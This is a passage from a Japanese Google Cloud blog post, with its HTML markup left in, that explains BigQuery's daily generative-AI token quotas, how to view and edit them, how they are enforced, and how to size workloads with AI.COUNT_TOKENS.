&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Google Cloud Identity and Access Management（IAM）割り当てシステムで管理される 1 日あたりの割り当ては 4 種類あり、&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;プロジェクト&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; レベルおよび&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;ユーザー&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;レベルでの管理が可能です。ユーザーごとの上限は、組織全体ではなく、プロジェクト内の各ユーザーに適用されます。&lt;/span&gt;&lt;/p&gt;
&lt;div align="left"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;&lt;table&gt;&lt;colgroup&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;/colgroup&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;割り当て名&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;指標&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;範囲&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;デフォルト値&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;1 日あたりの AI 入力トークン数&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;LLM で使用される入力トークン数&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;1 日あたり、プロジェクトごと&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;2,000 億&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;ユーザーごとの 1 日あたりの AI 入力トークン数&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;LLM で使用される入力トークン数&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;1 日あたり、プロジェクトごと、ユーザーごと&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;1,500 億&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;1 日あたりの AI 出力トークン数&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;LLM で使用される出力トークン数と思考トークン数&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;1 日あたり、プロジェクトごと&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;200 億&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;ユーザーごとの 1 日あたりの AI 出力トークン数&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;LLM で使用される出力トークン数と思考トークン数&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;1 日あたり、プロジェクトごと、ユーザーごと&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;150 億&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;詳細:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;割り当てはグローバルです。&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;使用量はすべてのリージョンで合計されるため、監視していないリージョンで費用が気づかないうちに積み上がることはありません。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;出力割り当てには「思考」トークンが含まれます。&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;推論トークンは、Gemini プラットフォームの請求にカウントされるのと同様に、出力割り当てにカウントされます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;対象となる関数&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;割り当ては、LLM を利用した生成を行う以下の BigQuery 関数に適用されます。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-generate"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.GENERATE&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-generate-table"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.GENERATE_TABLE&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-generate-text"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.GENERATE_TEXT&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;（およびそのエイリアス&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-generate-text"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;ML.GENERATE_TEXT&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;）&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-classify"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.CLASSIFY&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-if"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.IF&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-score"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.SCORE&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-agg"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.AGG&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;対象外:&lt;/strong&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-generate-text"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.GENERATE_EMBEDDING&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;（&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-generate-embedding"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;ML.GENERATE_EMBEDDING&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; としても利用可能）や&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-embed"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.EMBED&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; などのエンベディング関数は、大幅に費用が低い別のモデルで実行されるため、これらの割り当ての対象には&lt;/span&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;なりません&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;割り当ての管理&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;管理者は、ワークロードの変化に応じて、&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/control-genai-costs"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google Cloud コンソール&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;で直接割り当てを確認、調整できます。サポートケースは必要ありません。&lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;[IAM と管理] →&lt;/strong&gt;&lt;a href="https://console.cloud.google.com/iam-admin/quotas/list"&gt;&lt;strong style="vertical-align: baseline;"&gt; &lt;/strong&gt;&lt;/a&gt;&lt;strong style="vertical-align: baseline;"&gt;[&lt;/strong&gt;&lt;a href="https://console.cloud.google.com/iam-admin/quotas/list"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;割り当てとシステム上限&lt;/strong&gt;&lt;/a&gt;&lt;strong style="vertical-align: baseline;"&gt;]&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; に移動します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;サービスでフィルタし、[&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;BigQuery API&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;] を選択します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;[&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;名前&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;] 列で並べ替えて、4 つの AI 割り当てを一番上に表示します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/1_dxxy8WS.max-1000x1000.png"
        
          alt="1"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="w7qjz"&gt;[IAM と管理] → [割り当てとシステム上限] で生成 AI トークンの割り当てを確認。&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;4. 割り当て（&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;1 日あたりの AI 入力トークン数&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;など）を見つけます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;5. その他メニューを開き、[&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;割り当てを編集&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;] を選択します。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;次の操作を行います。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;費用管理を厳しくするには&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;、割り当てを減らします。これはすぐに有効になり、承認は必要ありません。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;使用量の増大に対応するには&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;、同じページから増加をリクエストします。多くのリクエストは自動的に承認されますが、大幅な増加の場合は簡単な審査が行われることがあります。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/2_7NmvWbT.max-1000x1000.png"
        
          alt="2"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="w7qjz"&gt;[IAM と管理] → [割り当てとシステム上限] で生成 AI トークンの割り当てを編集。&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;適切な権限が必要です。オーナー&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;、&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;編集者&lt;/strong&gt;&lt;a href="https://docs.cloud.google.com/iam/docs/roles-permissions/servicemanagement#servicemanagement.quotaAdmin"&gt;&lt;strong style="vertical-align: baseline;"&gt; &lt;/strong&gt;&lt;/a&gt;&lt;strong style="vertical-align: baseline;"&gt;、&lt;/strong&gt;&lt;a href="https://docs.cloud.google.com/iam/docs/roles-permissions/servicemanagement#servicemanagement.quotaAdmin"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;割り当て管理者&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;（&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;roles/servicemanagement.quotaAdmin&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;）、&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/iam/docs/roles-permissions/serviceusage#serviceusage.serviceUsageAdmin"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Service Usage 管理者&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;（&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;roles/serviceusage.serviceUsageAdmin&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;）のいずれかが必要です。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;自動化をご希望の場合は、&lt;/strong&gt;&lt;a href="https://docs.cloud.google.com/docs/quotas"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Cloud Quotas API&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;gcloud&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; CLI、Terraform を使用して&lt;/span&gt;&lt;a href="https://medium.com/google-cloud/bigquery-ai-cost-guardrails-how-to-set-daily-token-limits-programmatically-02d7a35f843a" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;これらの割り当てをプログラムで管理&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;し、プロジェクト全体に一貫したガードレールを適用することもできます。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;使用量のモニタリング&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;[&lt;/span&gt;&lt;a href="https://console.cloud.google.com/iam-admin/quotas/list"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;割り当てとシステム上限&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;] ページでは、上限を設定できるだけでなく、トークン消費量の履歴も表示されるため、急増をすばやく検出して予算を適正化できます。これらの傾向から、新しい生成 AI ワークロードとデータ パイプラインがトークンの全体的な使用量に与える影響を確認できます。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/3_sSNHw57.max-1000x1000.png"
        
          alt="3"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="w7qjz"&gt;[IAM と管理] &amp;gt; [割り当てとシステム上限] に表示された、生成 AI トークンの割り当てに対するプロジェクト レベルの 1 日あたりのトークン使用量。&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/4_iYgfR4l.max-1000x1000.png"
        
          alt="4"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="w7qjz"&gt;7 日間、14 日間、30 日間、カスタムの期間を選択できる長期的な使用量グラフ。&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;詳しい手順については、&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/control-genai-costs"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;トークン割り当てによる費用の管理&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;に関する BigQuery のドキュメントをご覧ください。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;トークン割り当てと費用上限&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Google Cloud の費用ガードレールは、トークン割り当てだけではありません。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/control-genai-costs"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;トークン割り当て（この機能）&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;は、予防的で AI 固有のものです。BigQuery はクエリ実行中のトークン使用量を追跡し、上限に近づくと処理を停止します。上限はプロジェクトごと、ユーザーごとに個別に設定されます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Cloud Billing の&lt;/strong&gt;&lt;a href="https://docs.cloud.google.com/billing/docs/how-to/budgets-spend-caps#eligible-services"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;費用上限&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;は、プロジェクト レベルとサービスレベルで&lt;/span&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;ドル&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;単位で設定され、しきい値に達すると自動的に使用をブロックできます。これは、使用量を正確に管理するものではなく、財務上の広範な安全策です。また、適用が即座に行われないため、超過料金が発生する場合があります。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;AI 費用の最初の防御策としてトークン割り当てを使用し、プロジェクト全体のセーフティ ネットとして費用上限を使用します。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;適用の仕組み&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;割り当ては、上限を超えてクエリを実行するのではなく、処理を停止することで適用されます。クエリは、必要な割り当てがすでに使い果たされている場合にのみ、事前に拒否され、その際に &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;QuotaExceeded&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; エラーが発生します。それ以外の場合はクエリが開始され、クエリの途中で割り当てがなくなると、BigQuery は新しい LLM 呼び出しの送信を停止します。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;max_error_ratio&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; をサポートする関数（&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;AI.IF&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; など）は、未処理の行が比率内に収まっている場合は部分的な結果を返し、そうでない場合は失敗します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;汎用関数&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;（&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;AI.GENERATE&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; など）は成功します。ただし、スキップされた行には生成された値がなく、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;status&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; フィールドには割り当て超過エラーが含まれます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;詳細については、ドキュメントの&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/control-genai-costs#quota_enforcement_behavior"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;割り当ての適用動作&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;をご覧ください。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;入力データのサイズ設定: &lt;/strong&gt;&lt;code style="vertical-align: baseline;"&gt;AI.COUNT_TOKENS&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;割り当て値を選択するには、ワークロードがモデルに送信するテキストの量を把握しておくと便利です。それに役立つのが &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-count-tokens"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.COUNT_TOKENS&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; 関数です。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;AI.COUNT_TOKENS&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; は、課金対象の生成呼び出しを行わずに、モデルのトークナイザーがテキスト文字列に対して生成するトークンの数を返します。列に対してこの関数を実行して、入力データを測定します。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;quot;-- Count the input text tokens for each product review\r\nSELECT\r\n  SUM(\r\n    AI.COUNT_TOKENS(\r\n      CONCAT(&amp;#x27;Classify the sentiment of this review as positive, negative, or neutral: &amp;#x27;, review_text),\r\n\r\n      endpoint =&amp;gt; &amp;#x27;gemini-3.1-flash-lite&amp;#x27;).result) AS total_input_tokens\r\nFROM\r\n  `my_project.my_dataset.product_reviews`;&amp;quot;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac25a95d10&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;この数は、入力トークンの下限です。出力トークンや思考トークン、各 AI 関数が入力に追加する指示、画像などのテキスト以外の入力は含まれません。次の目的でこの関数を使用します。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;ワークロードを起動する前に、&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;ワークロードの入力側を測定&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;する。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
